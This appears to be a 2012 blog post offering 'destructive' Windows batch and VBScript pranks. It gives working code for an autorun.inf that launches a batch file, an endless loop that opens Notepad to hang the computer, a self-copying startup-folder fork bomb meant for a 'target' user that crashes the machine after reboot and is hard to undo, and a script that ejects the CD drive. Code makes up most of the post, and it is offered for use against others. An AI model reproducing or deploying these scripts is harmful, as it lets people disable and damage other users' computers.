Monday 22 October 2012

DESTRUCTIVE BATCH FILE- 5

BATCH FILES - SOME TRICKY VIRUS

1. AUTORUN VIRUS

      [autorun]

Open=Pirus.bat

Shellexecute=Pirus.bat


save the above code as autorun.inf and run


2.HANG COMPUTER BY OPENING NOTEPAD RANDOMLY

   @ECHO off
:top
START %SystemRoot%system32notepad.exe
GOTO top
      
save the above code as autorun.bat and run

 3.SCREW UP YOUR COMPUTER

bat file that can screw up a computer. Use wisely.

echo :loop > C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
echo start temp >> C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
echo goto loop >> C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
:start
start cmd /c copy "C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat" "C:\Documents and Settings\USER\Start Menu\Programs\startup\temp%random%.bat"
goto start


This creates a "forkbomb" kind of bat file one that repeatedly opens itself in the start up folder and then proceeds to copy itself indefinitely. When the computer is rebooted it is likely to crash very quickly.

Will be very hard to undo. May be rebooting in safe mode will do it. Dunno really.

Only problem is that u need to change the part where its says USER for the username of the target.

4.CODE FOR OPENING AND CLOSING CD DRIVE


Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count = 1 then
for i = 0 to colCDROMS.Count - 1
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
Next ' cdrom
end if save as .vbs


PLs save as .vbs not .bat

No comments:

Post a Comment